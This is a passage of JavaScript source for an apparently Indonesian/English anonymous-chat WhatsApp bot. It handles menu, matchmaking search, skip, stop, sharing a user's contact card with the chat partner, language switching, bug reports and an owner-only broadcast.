chat bot command`} 383 | 384 | 🗒️ ${prf}menu - _${lang == 'id' ? 'melihat perintah yang tersedia' : 'see the available commands'}_ 385 | 🔎 ${prf}search - _${lang == 'id' ? 'mencari teman bicara' : 'looking for someone to talk to'}_ 386 | ⏩ ${prf}skip - _${lang == 'id' ? 'mencari teman lain' : 'looking for another opponent'}_ 387 | ❌ ${prf}stop - _${lang == 'id' ? 'berhenti sesi chatting' : 'quit the chat session'}_ 388 | 💌 ${prf}sendprofile - _${lang == 'id' ? 'mengirim kontak pribadi anda ke teman chat' : 'send your personal contacts to chat opponents'}_ 389 | ♻️ ${prf}changelang - _${lang == 'id' ? 'mengganti bahasa [EN & ID]' : 'change language [EN & ID]'}_ 390 | ⚠️ ${prf}bug - _${lang == 'id' ? 'mengirim laporan ke pemilik bot' : 'send a report to the bot owner'}_ 391 | 🔮 ${prf}owner - _${lang == 'id' ? 'kirim kontak pemilik bot' : 'send the bot owner contact'}_ 392 | 👑 ${prf}author - _${lang == 'id' ? 'kirim kontak pembuat bot' : 'send the bot creator contact'}_ 393 | ${isOwner ? `📢 ${prf}broadcast ` + (lang == 'id' ? ` _Kirim broadcast ke semua kontak_` : ` _Send broadcast to all contacts_`) : ''} 394 | 395 | ——————————————————————————— 396 | 397 | \`\`\`${lang == 'en' ? 'bahasa yang anda gunakan adalah bahasa inggris, ketik ' + prf + 'changelang untuk mengganti ke bahasa indonesia' : 'the language you use is Indonesian, type ' + prf + 'changelang to change to english'}\`\`\` 398 | ` 399 | const button = { 400 | buttonText: lang == 'id' ? 'Pilih salah satu perintah' : 'Select one command', 401 | description: str, 402 | sections: [{ 403 | title: lang == 'id' ? "Selamat datang di Anon Chat!" : "Welcome to Anon Chat!", 404 | rows: [{ 405 | title: prf + 'menu', 406 | rowId: "menu" 407 | }, 408 | { 409 | title: prf + 'search', 410 | rowId: "search" 411 | }, 412 | { 413 | title: prf + 'skip', 414 | rowId: "skip" 415 | }, 416 | { 417 | title: prf + 'stop', 418 | rowId: "stop" 419 | }, 420 | { 421 | title: prf + 'sendprofile', 422 | rowId: "sendprofile" 423 | }, 424 | { 425 | title: prf + 'changelang', 426 | rowId: "changelang" 427 | }, 428 | { 429 | title: prf + 'bug', 430 | rowId: "bug" 431 | }, 432 | { 433 | title: prf + 'owner', 434 | rowId: "owner" 435 | }, 436 | { 437 | title: prf + 'author', 438 | rowId: "author" 439 | } 440 | ] 441 | }], 442 | listType: 1 443 | } 444 | if (isOwner) { 445 | button.sections[0].rows.push({ 446 | title: prf + 'broadcast', 447 | rowId: "broadcast" 448 | }) 449 | } 450 | conn.sendMessage(from, button, MessageType.listMessage) 451 | break 452 | case 'SEARCH 🔎': 453 | case prf + 'start': 454 | case prf + 'search': 455 | if (!isMatched(sender).status) { 456 | const strMatch = lang == 'id' ? `\`\`\`Mohon tunggu sedang mencari teman chat\`\`\` 🔎` : `\`\`\`Please wait looking for chat friends\`\`\` 🔎\n\ntype: *${prf}stop* (to stop session)` 457 | // balas(from, strMatch) 458 | const buttonMessage = { 459 | contentText: strMatch, 460 | footerText: 'Follow my IG @hanif_az.sq.61', 461 | buttons: [ 462 | { 463 | buttonId: prf + 'stop', 464 | buttonText: { 465 | displayText: 'STOP ❌' 466 | }, 467 | type: 1 468 | } 469 | ], 470 | headerType: 1 471 | } 472 | conn.sendMessage(from, buttonMessage, MessageType.buttonsMessage) 473 | } 474 | match(sender) 475 | .then(() => { 476 | const buttonMessage = { 477 | contentText: lang == 'id' ? `\`\`\`Berhasil menemukan teman\`\`\` ✅\n\nketik :\n*${prf}stop* ( untuk berhenti chat )\n*${prf}skip* ( untuk melewati chat ini )` : `Successfully found friends ✅\n\ntype:\n*${prf}stop* (to stop chatting)\n*${prf}skip* (to skip this chat)`, 478 | footerText: 'Follow my IG @hanif_az.sq.61', 479 | buttons: [{ 480 | buttonId: prf + 'skip', 481 | buttonText: { 482 | displayText: 'SKIP ⏩' 483 | }, 484 | type: 1 485 | }, 486 | { 487 | buttonId: prf + 'stop', 488 | buttonText: { 489 | displayText: 'STOP ❌' 490 | }, 491 | type: 1 492 | } 493 | ], 494 | headerType: 1 495 | } 496 | conn.sendMessage(from, buttonMessage, MessageType.buttonsMessage) 497 | //balasNp(from, lang == 'id' ? `\`\`\`Berhasil menemukan teman\`\`\` ✅\n\nketik :\n*${prf}stop* ( untuk berhenti chat )\n*${prf}skip* ( untuk melewati chat ini )` : `Successfully found friends ✅\n\ntype:\n*${prf}stop* (to stop chatting)\n*${prf}skip* (to skip this chat)`) 498 | }) 499 | .catch((error) => { 500 | if (error.message == 'Sudah masuk sesi match' || error.message == 'sesi telah dimulai') { 501 | if (isMatched(sender).message == 'Sedang Didalam Chat') return balas(from, lang == 'id' ? `\`\`\`Kamu sudah memulai sesi matchmaking!\`\`\` ❌ ketik *${prf}skip* untuk melewati chat ini, atau ketik *${prf}stop* untuk berhenti chat` : `\`\`\`You have started the matchmaking session!\`\`\` ❌ type *${prf}skip* to skip this chat, or type *${prf}stop* to stop chatting`) 502 | // balas(from, lang == 'id' ? `\`\`\`Kamu sudah memulai sesi chat!\`\`\` ❌ mohon tunggu sampai matchmaking selesai, atau ketik *${prf}stop*` : `You have started the chat session! ❌ please wait until the matchmaking is finished, or type *${prf}stop*`) 503 | const buttonMessage = { 504 | contentText: lang == 'id' ? `\`\`\`Kamu sudah memulai sesi chat!\`\`\` ❌ mohon tunggu sampai matchmaking selesai, atau ketik *${prf}stop*` : `You have started the chat session! ❌ please wait until the matchmaking is finished, or type *${prf}stop*`, 505 | footerText: 'Follow my IG @hanif_az.sq.61', 506 | buttons: [{ 507 | buttonId: prf + 'stop', 508 | buttonText: { 509 | displayText: 'STOP ❌' 510 | }, 511 | type: 1 512 | }], 513 | headerType: 1 514 | } 515 | conn.sendMessage(from, buttonMessage, MessageType.buttonsMessage) 516 | } else { 517 | const teks = chalk.greenBright('[ ANCHT ] ') + time + chalk.redBright(" " + "Matchmaking Closed, max than " + settings.maxMatch + "") + " from " + chalk.redBright(pushname.split('\n')[0]) 518 | console.log(teks); 519 | // balasNp(from, lang == 'id' ? `\`\`\`Tidak dapat menemukan teman\`\`\` ❌ mohon search ulang!` : `Cannot find friends ❌ please search again!`) 520 | const buttonMessage = { 521 | contentText: lang == 'id' ? `\`\`\`Tidak dapat menemukan teman\`\`\` ❌ mohon search ulang!` : `Cannot find friends ❌ please search again!`, 522 | footerText: 'Follow my IG @hanif_az.sq.61', 523 | buttons: [{ 524 | buttonId: prf + 'search', 525 | buttonText: { 526 | displayText: 'SEARCH 🔎' 527 | }, 528 | type: 1 529 | }], 530 | headerType: 1 531 | } 532 | conn.sendMessage(from, buttonMessage, MessageType.buttonsMessage) 533 | } 534 | }) 535 | break 536 | case 'SKIP ⏩': 537 | case prf + 'skip': 538 | stop(sender) 539 | .then(async (data) => { 540 | data.db.splice(data.index, 1) 541 | fs.writeFileSync('./src/database/client-user.json', JSON.stringify(data.db, null, 5)) 542 | balas(from, lang == 'id' ? `\`\`\`Sesi chat ini telah dilewati\`\`\` ❌` : `\`\`\`This chat session has been passed\`\`\` `) 543 | if (data.target !== null) balasNp(data.target, lang == 'id' ? `\`\`\`Sesi chat ini telah diberhentikan oleh teman chat kamu\`\`\` ❌` : `\`\`\`This chat session has been suspended by your friend\`\`\` `) 544 | await delay(3000) 545 | if (!isMatched(sender).status) { 546 | const strMatch = lang == 'id' ? `\`\`\`Mohon tunggu sedang mencari teman chat\`\`\` 🔎` : `\`\`\`Please wait looking for chat friends\`\`\` 🔎\n\ntype: *${prf}stop* (to stop session)` 547 | balas(from, strMatch) 548 | } 549 | match(sender, true) 550 | .then((data) => { 551 | // balasNp(from, lang == 'id' ? `\`\`\`Berhasil menemukan teman\`\`\` ✅\n\nketik :\n*${prf}stop* ( untuk berhenti chat )\n*${prf}skip* ( untuk melewati chat ini )` : `Successfully found friends ✅\n\ntype:\n*${prf}stop* (to stop chatting)\n*${prf}skip* (to skip this chat)`) 552 | const buttonMessage = { 553 | contentText: lang == 'id' ? `\`\`\`Berhasil menemukan teman\`\`\` ✅\n\nketik :\n*${prf}stop* ( untuk berhenti chat )\n*${prf}skip* ( untuk melewati chat ini )` : `Successfully found friends ✅\n\ntype:\n*${prf}stop* (to stop chatting)\n*${prf}skip* (to skip this chat)`, 554 | footerText: 'Follow my IG @hanif_az.sq.61', 555 | buttons: [{ 556 | buttonId: prf + 'skip', 557 | buttonText: { 558 | displayText: 'SKIP ⏩' 559 | }, 560 | type: 1 561 | }, 562 | { 563 | buttonId: prf + 'stop', 564 | buttonText: { 565 | displayText: 'STOP ❌' 566 | }, 567 | type: 1 568 | } 569 | ], 570 | headerType: 1 571 | } 572 | conn.sendMessage(from, buttonMessage, MessageType.buttonsMessage) 573 | }) 574 | .catch((error) => { 575 | console.log('eskp', error); 576 | if (error.message == 'Sudah masuk sesi match' || error.message == 'sesi telah dimulai') { 577 | if (isMatched(sender).message == 'Sedang Didalam Chat') return balas(from, lang == 'id' ? `\`\`\`Kamu sudah memulai sesi matchmaking!\`\`\` ❌ ketik ${prf}skip untuk melewati chat ini, atau ketik *${prf}stop* untuk berhenti chat` : `\`\`\`You have started the matchmaking session!\`\`\` ❌ type ${prf}skip to skip this chat, or type *${prf}stop* to stop chatting`) 578 | // balas(from, lang == 'id' ? `\`\`\`Kamu sudah memulai sesi chat!\`\`\` ❌ mohon tunggu sampai matchmaking selesai, atau ketik *${prf}stop*` : `You have started the chat session! ❌ please wait until the matchmaking is finished, or type *${prf}stop*`) 579 | const buttonMessage = { 580 | contentText: lang == 'id' ? `\`\`\`Kamu sudah memulai sesi chat!\`\`\` ❌ mohon tunggu sampai matchmaking selesai, atau ketik *${prf}stop*` : `You have started the chat session! ❌ please wait until the matchmaking is finished, or type *${prf}stop*`, 581 | footerText: 'Follow my IG @hanif_az.sq.61', 582 | buttons: [{ 583 | buttonId: prf + 'stop', 584 | buttonText: { 585 | displayText: 'STOP ❌' 586 | }, 587 | type: 1 588 | }], 589 | headerType: 1 590 | } 591 | conn.sendMessage(from, buttonMessage, MessageType.buttonsMessage) 592 | } else { 593 | const teks = chalk.greenBright('[ ANCHT ] ') + time + chalk.redBright(" " + "Matchmaking Closed, max than " + settings.maxMatch + "") + " from " + chalk.redBright(pushname.split('\n')[0]) 594 | console.log(teks); 595 | // balasNp(from, lang == 'id' ? `\`\`\`Tidak dapat menemukan teman\`\`\` ❌ mohon search ulang!` : `Cannot find friends ❌ please search again!`) 596 | const buttonMessage = { 597 | contentText: lang == 'id' ? `\`\`\`Tidak dapat menemukan teman\`\`\` ❌ mohon search ulang!` : `Cannot find friends ❌ please search again!`, 598 | footerText: 'Follow my IG @hanif_az.sq.61', 599 | buttons: [{ 600 | buttonId: prf + 'search', 601 | buttonText: { 602 | displayText: 'SEARCH 🔎' 603 | }, 604 | type: 1 605 | }], 606 | headerType: 1 607 | } 608 | conn.sendMessage(from, buttonMessage, MessageType.buttonsMessage) 609 | } 610 | }) 611 | }) 612 | .catch((error) => { 613 | const buttonMessage = { 614 | contentText: lang == 'id' ? `\`\`\`Tidak dapat berhenti chat karena kamu belum pernah masuk sesi chat\`\`\` ❌\n\nKetik : ${prf}search` : `\`\`\`Cannot stop chat because you have never entered a chat session\`\`\` ❌\n\nType: ${prf}search`, 615 | footerText: 'Follow my IG @hanif_az.sq.61', 616 | buttons: [{ 617 | buttonId: prf + 'search', 618 | buttonText: { 619 | displayText: 'SEARCH 🔎' 620 | }, 621 | type: 1 622 | }], 623 | headerType: 1 624 | } 625 | conn.sendMessage(from, buttonMessage, MessageType.buttonsMessage) 626 | }) 627 | break 628 | case 'STOP ❌': 629 | case prf + 'stop': 630 | stop(sender) 631 | .then((data) => { 632 | data.db.splice(data.index, 1) 633 | fs.writeFileSync('./src/database/client-user.json', JSON.stringify(data.db, null, 5)) 634 | balas(from, lang == 'id' ? `\`\`\`Sesi chat ini telah diberhentikan\`\`\` ❌` : `\`\`\`This chat session has been suspended\`\`\` `) 635 | if (data.target !== null) balasNp(data.target, lang == 'id' ? `\`\`\`Sesi chat ini telah diberhentikan oleh teman chat kamu\`\`\` ❌` : `\`\`\`This chat session has been suspended by your friend\`\`\` `) 636 | }) 637 | .catch((error) => { 638 | console.log(error); 639 | const buttonMessage = { 640 | contentText: lang == 'id' ? `\`\`\`Tidak dapat berhenti chat karena kamu belum pernah masuk sesi chat\`\`\` ❌\n\nKetik : ${prf}search` : `\`\`\`Cannot stop chat because you have never entered a chat session\`\`\` ❌\n\nType: ${prf}search`, 641 | footerText: 'Follow my IG @hanif_az.sq.61', 642 | buttons: [{ 643 | buttonId: prf + 'search', 644 | buttonText: { 645 | displayText: 'SEARCH 🔎' 646 | }, 647 | type: 1 648 | }], 649 | headerType: 1 650 | } 651 | conn.sendMessage(from, buttonMessage, MessageType.buttonsMessage) 652 | }) 653 | break 654 | case prf + 'sendprofil': 655 | case prf + 'sendprofile': 656 | const path = './src/database/client-user.json' 657 | let db_user = JSON.parse(fs.readFileSync(path)) 658 | let user1 = db_user.map(rest => rest.client1) 659 | let user2 = db_user.map(rest => rest.client2) 660 | if (user1.includes(sender)) { 661 | const indexSender = db_user.findIndex(i => i.client1 == sender) 662 | // return console.log(db_user.findIndex(i => i.client1 == '1')) 663 | const targetChat = db_user[indexSender].client2 664 | const vcard = 'BEGIN:VCARD\n' // metadata of the contact card 665 | + 666 | 'VERSION:3.0\n' + 667 | 'FN:' + pushname + '\n' // full name 668 | + 669 | 'ORG:Ashoka Uni;\n' // the organization of the contact 670 | + 671 | 'TEL;type=CELL;type=VOICE;waid=' + sender.replace(/@.+/g, '') + ':+' + sender.replace(/@.+/g, '') + '\n' // WhatsApp ID + phone number 672 | + 673 | 'END:VCARD' 674 | conn.sendMessage(targetChat, { 675 | displayname: pushname, 676 | vcard: vcard 677 | }, MessageType.contact) 678 | .then((data) => { 679 | conn.sendMessage(targetChat, lang == 'id' ? `\`\`\`Teman chat kamu memberikan kontak profil nya!\`\`\`` : `\`\`\`Your chat friends provide their profile contacts!\`\`\``, MessageType.text, { 680 | quoted: data 681 | }) 682 | }) 683 | } else if (user2.includes(sender)) { 684 | const indexSender = db_user.findIndex(i => i.client2 == sender) 685 | // return console.log(db_user) 686 | const targetChat = db_user[indexSender].client1 687 | const vcard = 'BEGIN:VCARD\n' // metadata of the contact card 688 | + 689 | 'VERSION:3.0\n' + 690 | 'FN:' + pushname + '\n' // full name 691 | + 692 | 'ORG:Ashoka Uni;\n' // the organization of the contact 693 | + 694 | 'TEL;type=CELL;type=VOICE;waid=' + sender.replace(/@.+/g, '') + ':+' + sender.replace(/@.+/g, '') + '\n' // WhatsApp ID + phone number 695 | + 696 | 'END:VCARD' 697 | conn.sendMessage(targetChat, { 698 | displayname: pushname, 699 | vcard: vcard 700 | }, MessageType.contact) 701 | .then((data) => { 702 | conn.sendMessage(targetChat, lang == 'id' ? `\`\`\`Teman chat kamu memberikan kontak profil nya!\`\`\`` : `\`\`\`Your chat friends provide their profile contacts!\`\`\``, MessageType.text, { 703 | quoted: data 704 | }) 705 | }) 706 | 707 | } 708 | balas(from, lang == 'id' ? `\`\`\`Profil kamu berhasil terkirim ✅\`\`\`` : `\`\`\`Your profile has been sent successfully ✅\`\`\``) 709 | break 710 | case prf + 'changelanguage': 711 | case prf + 'changelang': 712 | try { 713 | const mylang = lang 714 | if (!listed_sender.includes(sender)) { 715 | let objlang = { 716 | sender: sender, 717 | lang: mylang == 'id' ? 'en' : 'id' 718 | } 719 | db_language.push(objlang) 720 | fs.writeFile('./src/database/language.json', JSON.stringify(db_language, null, 3), (e) => { 721 | if (e) return console.error(e) 722 | balas(from, mylang == 'id' ? '\`\`\`Successfully changed the language to English\`\`\` ✅' : '\`\`\`Berhasil mengubah bahasa ke indonesia\`\`\` ✅') 723 | }) 724 | } else { 725 | const index_lang_sender = listed_sender.indexOf(sender) 726 | db_language[index_lang_sender].lang = mylang == 'id' ? 'en' : 'id' 727 | fs.writeFile('./src/database/language.json', JSON.stringify(db_language, null, 3), (e) => { 728 | if (e) return console.error(e) 729 | balas(from, mylang == 'id' ? '\`\`\`Successfully changed the language to English\`\`\` ✅' : '\`\`\`Berhasil mengubah bahasa ke indonesia\`\`\` ✅') 730 | }) 731 | } 732 | } catch (e) { 733 | console.log(e) 734 | balas(from, `there is an error`) 735 | } 736 | break 737 | case prf + 'bug': 738 | if (args.length === 1) return balas(from, lang == 'id' ? `Penggunaan : *${prf}bug *\nContoh : *${prf}bug search teman error tolong fix*` : `Usage: *${prf}bug *\nExample: *${prf}bug search friends error please fix*`) 739 | balas(settings.Owner, `Laporan bug dari wa.me/${sender.replace(/@.+/g, '')} : ${body}`) 740 | .then(() => balas(from, lang == 'id' ? `\`\`\`Laporan berhasil terkirim! ✅\`\`\`` : `\`\`\`Report sent successfully! ✅\`\`\``)) 741 | break 742 | case prf + 'owner': 743 | const vcard1 = 'BEGIN:VCARD\n' // metadata of the contact card 744 | + 745 | 'VERSION:3.0\n' + 746 | 'FN:' + 'Owner bot' + '\n' // full name 747 | + 748 | 'ORG:Ashoka Uni;\n' // the organization of the contact 749 | + 750 | 'TEL;type=CELL;type=VOICE;waid=' + settings.Owner.replace(/@s.whatsapp.net/, '') + 751 | ':+' + 752 | settings.Owner.replace(/@s.whatsapp.net/, '') + '\n' // WhatsApp ID + phone number 753 | + 754 | 'END:VCARD' 755 | conn.sendMessage(from, { 756 | displayname: 'Owner bot', 757 | vcard: vcard1 758 | }, MessageType.contact, { 759 | quoted: hurtz 760 | }) 761 | break 762 | case prf + 'broadcast': 763 | if (isOwner) { 764 | if (args.length == 1) return balas(from, lang == 'id' ? `Penggunaan : *${prf}broadcast* ` : `Usage : *${prf}broadcast* `) 765 | let bc = JSON.parse(fs.readFileSync('./src/database/client-log.json')) 766 | const all_chat = conn.chats.dict 767 | const all_data = Object.keys(all_chat) 768 | let contactsOnly = all_data.filter((data) => data.includes('@s.whatsapp.net')) 769 | const myMessage = args.slice(1).join(' ') 770 | if (!bc.status) { 771 | if (isImageMsg || isQuotedImage) { 772 | const buffer = await conn.downloadMediaMessage(mediaData) 773 | bc.status = true 774 | for (let data of contactsOnly) { 775 | bc.users.push(data) 776 | // conn.sendMessage(data, buffer, MessageType.image, { caption: myMessage }) 777 | } 778 | bc.media = buffer 779 | bc.text = myMessage 780 | fs.writeFileSync('./src/database/client-log.json', JSON.stringify(bc, null, 5)) 781 | // balas(from, lang == 'id' ? `Kamu yakin akan mengirim broadcast gambar dengan pesan *${myMessage}*? ketik *Y/N*` : `Are you sure you want to send broadcast image with the message *${myMessage}*? type *Y/N*`) 782 | const buttonMessage = { 783 | contentText: lang == 'id' ? `Kamu yakin akan mengirim broadcast gambar dengan pesan *${myMessage}*? ketik *Y/N*` : `Are you sure you want to send broadcast image with the message *${myMessage}*? type *Y/N*`, 784 | footerText: 'Follow my IG @hanif_az.sq.61', 785 | buttons: [{ 786 | buttonId: 'Y', 787 | buttonText: { 788 | displayText: 'Y' 789 | }, 790 | type: 1 791 | },{ 792 | buttonId: 'N', 793 | buttonText: { 794 | displayText: 'N' 795 | }, 796 | type: 1 797 | }], 798 | headerType: 1 799 | } 800 | conn.sendMessage(from, buttonMessage, MessageType.buttonsMessage) 801 | // balas(from, util.format(contactsOnly)) 802 | } else { 803 | bc.status = true 804 | for (let data of contactsOnly) { 805 | bc.users.push(data) 806 | // conn.sendMessage(data, buffer, MessageType.image, { caption: myMessage }) 807 | } 808 | bc.text = myMessage 809 | fs.writeFileSync('./src/database/client-log.json', JSON.stringify(bc, null, 5)) 810 | // balas(from, lang == 'id' ? `Kamu yakin akan mengirim broadcast dengan pesan *${myMessage}*? ketik *Y/N*` : `Are you sure you want to send broadcast with the message *${myMessage}*? type *Y/N*`) 811 | const buttonMessage = { 812 | contentText: lang == 'id' ? `Kamu yakin akan mengirim broadcast dengan pesan *${myMessage}*? ketik *Y/N*` : `Are you sure you want to send broadcast with the message *${myMessage}*? type *Y/N*`, 813 | footerText: 'Follow my IG @hanif_az.sq.61', 814 | buttons: [{ 815 | buttonId: 'Y', 816 | buttonText: { 817 | displayText: 'Y' 818 | }, 819 | type: 1 820 | },{ 821 | buttonId: 'N', 822 | buttonText: { 823 | displayText: 'N' 824 | }, 825 | type: 1 826 | }], 827 | headerType: 1 828 | } 829 | conn.sendMessage(from, buttonMessage, MessageType.buttonsMessage) 830 | // balas(from, util.format(contactsOnly)) 831 | 832 | } 833 | } else { 834 | balas(from, lang == 'id' ? `Mohon tunggu sampai proses broadcast selesai ❌` : `Please wait for the broadcast process until finish ❌`) 835 | } 836 | } else { 837 | balas(from, lang == 'id' ? 'Hanya untuk owner bot' : 'For owner bot only ❌') 838 | } 839 | break 840 | default: 841 | break 842 | } 843 | /*-----------------[ End Of Handler ]------------------*/ 844 | } catch (error) { 845 | console.log(error) 846 | clientsNow.forEach((client) => { 847 | if (!isClientLog) return 848 | client.send(chalk.red('ERR : ') + util.format(error)) 849 | }); 850 | } 851 | }; --------------------------------------------------------------------------------